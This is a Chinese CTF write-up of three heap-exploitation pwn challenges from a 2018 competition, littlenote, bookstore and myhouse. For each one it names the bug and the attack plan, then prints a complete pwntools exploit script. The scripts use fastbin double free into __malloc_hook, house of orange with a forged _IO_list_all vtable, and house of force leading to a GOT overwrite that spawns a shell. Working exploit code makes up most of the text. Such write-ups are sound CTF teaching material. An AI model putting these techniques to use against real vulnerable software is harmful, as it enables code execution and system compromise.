2018铁人三项赛总决赛PWN

2019-07-10 约 1418 字 预计阅读 3 分钟

声明:本文 【2018铁人三项赛总决赛PWN】 由作者 pwnninja 于 2019-07-10 09:01:00 首发 先知社区 曾经 浏览数 119 次

感谢 pwnninja 的辛苦付出!

0x01 littlenote

保护全开的堆利用程序,有add、show、delete功能,delete模块有UAF漏洞。
add: 只能申请size为0x71或0x31的堆块

show: 显示堆块内容

delete: 存在UAF

攻击思路:
1.利用UAF,删除堆块,再读取数据,泄漏heap地址
2.再次利用UAF漏洞,将fd指针篡改到某堆块中间,就能继续输入数据改写下一个相邻chunk的size,把size改大,然后free,就能使其进入unsortedbin,从而泄漏libc地址
3.第三次利用UAF做double free,向malloc_hook填入one_gadget地址

exp:

from pwn import *
env=os.environ
env['LD_PRELOAD']='./littlenote.so'
context.log_level='debug'
r=process('./littlenote')
def add(cont):
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('note')
    r.send(cont)
    r.recvuntil('?')
    r.sendline('Y')
def add2(cont):
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('note')
    r.send(cont)
    r.recvuntil('?')
    r.sendline('N')
def show(idx):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('?')
    r.sendline(str(idx))
def delete(idx):
    r.recvuntil('Your choice:')
    r.sendline('3')
    r.recvuntil('?')
    r.sendline(str(idx))
#use UAF to leak heap
add('0'*8)#0
add('1'*8)#1
add('2'*8)#2
add('3'*0x20)#3
add('4'*0x20)#4
delete(1)
delete(2)
show(2)
r.recv(1)
heap1=u64(r.recvline()[:-1].ljust(8,'\x00'))
print hex(heap1)
#fastbin double free,changing size to 0xe1 and leak libc
delete(1)
add(p64(heap1+0x40))#5
add('6'*0x60)#6
add('7'*0x38+p64(0x7f))#7
add('z'*0x20+p64(0)+p64(0xe1))#8
delete(6)
show(2)
r.recv(1)
leakl=u64(r.recvline()[:-1].ljust(8,'\x00'))
lbase=leakl-0x7ffff7dd1b78+0x7ffff7a0d000
one=lbase+0xf0274
mhk=leakl-0x68
#fastbin double free,changing __malloc_hook to one_shot
add('9'*0x20)#9
add('a'*0x20)#10
delete(9)
delete(10)
delete(9)
add(p64(mhk-0x23))#11
add('c'*0x60)#12
add('d'*0x38+p64(0x7f))#13
add('e'*0x13+p64(one))#14
print hex(leakl)
print hex(lbase)
print hex(one)
#trigger
delete(3)
delete(3)
#gdb.attach(r)
r.interactive()

0x02 bookstore

PIE和canary保护没有开启,有addbook、readbook、sellbook功能。

addbook:当readn的size=0时,会触发严重的堆溢出漏洞

readbook:

sellbook:

readn:当参数a2为0时,遇到’\n’才退出循环,可以写入超长字节,导致堆溢出

攻击思路:
1.利用溢出漏洞将下一个chunk size改大,再free,使其进入unsorted bin,从而泄露libc地址
2.进行house of orange攻击,即首先做unsortedbin attack,覆盖_IO_list_all,同时伪造old top chunk位置的size=0x61,使其对应于smallbin[4],再准备好’/bin/sh’字符串和新的vtable地址,这样,malloc报错时就能跳转到vtable,在执行系统内部流程的时候执行system(‘/bin/sh’)

exp:

from pwn import *
env=os.environ
env['LD_PRELOAD']='./bookstore.so'
context.log_level='debug'
r=process('./bookstore')
def add(author,size,cont):
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('What is the author name?')
    r.sendline(author)
    r.recvuntil('How long is the book name?')
    r.sendline(str(size))
    r.recvuntil('What is the name of the book?')
    r.sendline(cont)
def delete(idx):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('?')
    r.sendline(str(idx))
def show(idx):
    r.recvuntil('Your choice:')
    r.sendline('3')
    r.recvuntil('?')
    r.sendline(str(idx))
add('a'*0x10,0,'0'*0x10)#0
add('b'*0x10,0x40,'1'*0x10)#1
add('c'*0x10,0x40,'2'*0x10)#2
add('d'*0x10,0x40,'3'*0x10)#3
delete(0)
add('a'*0x10,0,'0'*0x18+p64(0xa1))#0
delete(1)

add('b',0,'1'*1)#1
show(1)
r.recvuntil('\x65\x3a')
lleak=u64(r.recv(6).ljust(8,'\x00'))
print "lleak:"+hex(lleak)
lbase=lleak-0x7ffff7dd1c31+0x7ffff7a0d000
sys=lbase-0x7ffff7a0d000+0x7ffff7a52390
sh=lbase-0x7ffff7a0d000+0x7ffff7b99d17
iolistall=lbase-0x7ffff7a0d000+0x7ffff7dd2520
strjumps=lbase-0x7ffff7a0d000+0x7ffff7dd07a0

fire=p64(0)+p64(0x61)+p64(0)+p64(iolistall-0x10)+p64(0)+p64(1)+p64(0)+p64(sh)+p64(0)*19+p64(strjumps-8)
fire=fire.ljust(0xe8,'\x00')+p64(sys)
add('e',0,'\x00'*0x10+fire)#4

r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline('test')
r.recvuntil('How long is the book name?')
r.sendline(str(0x40))
r.interactive()

0x03 myhouse

开启了NX和canary保护:

程序主要有两个漏洞:
1.可以向任意地址写一个字节’\x00’

2.owner和housen字段相连,如果输入末尾没有’\x00’,可以泄露堆地址

攻击思路:
1.原本考虑向_IO_buf_base写’\x00’,从而改写_IO_buf_end,在_IO_2_1_stdin_上做溢出,后来发现该题不满足条件,不能指向_IO_buf_end。于是考虑将main_arena的top指针最低字节改为’\x00’,指向堆的其他位置,同时在该位置构造0xffffffffffffffff的size,进行house of force攻击。首先malloc很大的堆块,例如0x200000,就能开辟mapped段,它与libc段的偏移是固定的,就能向main_arena的top写'\x00'
2.利用house of force把堆块分配到bss段,篡改desc等指针指向atoi函数的GOT表,泄露并篡改GOT表,最终获得shell

exp:

from pwn import *
env=os.environ
env['LD_PRELOAD']='./myhouse.so'
context.log_level='debug'
libc=ELF('./myhouse.so')
r=process('./myhouse')
def addroom(size):
    r.recvuntil('Your choice:\n')
    r.sendline('1')
    r.recvuntil('What is the size of your room?')
    r.sendline(str(size))
def editroom(cont):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('shining!')
    r.send(cont)
def show():
    r.recvuntil('Your choice:')
    r.sendline('3')
#step 1:write '\x00' to main_arena's top_chunk pointer and set top's size
r.recvuntil('name?')
r.send('a'*0x20)
r.recvuntil('name of your house?')
r.send('b'*0xf8+p64(0xffffffffffffffff))
r.recvuntil('size of your house?')
r.sendline(str(0x5c5b69))
r.recvuntil('Too large!')
r.sendline(str(0x200000))
r.recvuntil('Give me its description:')
r.send('c'*0x30)
#step 2:leak heap address
show()
r.recvuntil('a'*0x20)
heap=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "heap:"+hex(heap)
#step 3:house of force
bssp=0x6020c0
addroom(bssp-(heap+0xf0)-0x20)
addroom(0x60)
#step 4:leak GOT and change GOT
got_atoi=0x602058
editroom(p64(got_atoi)+p64(got_atoi))
show()
r.recvuntil('And description:\n')
atoi=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "atoi:"+hex(atoi)
sys=atoi-libc.symbols['atoi']+libc.symbols['system']
editroom(p64(sys))
r.sendline('sh')
r.interactive()

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now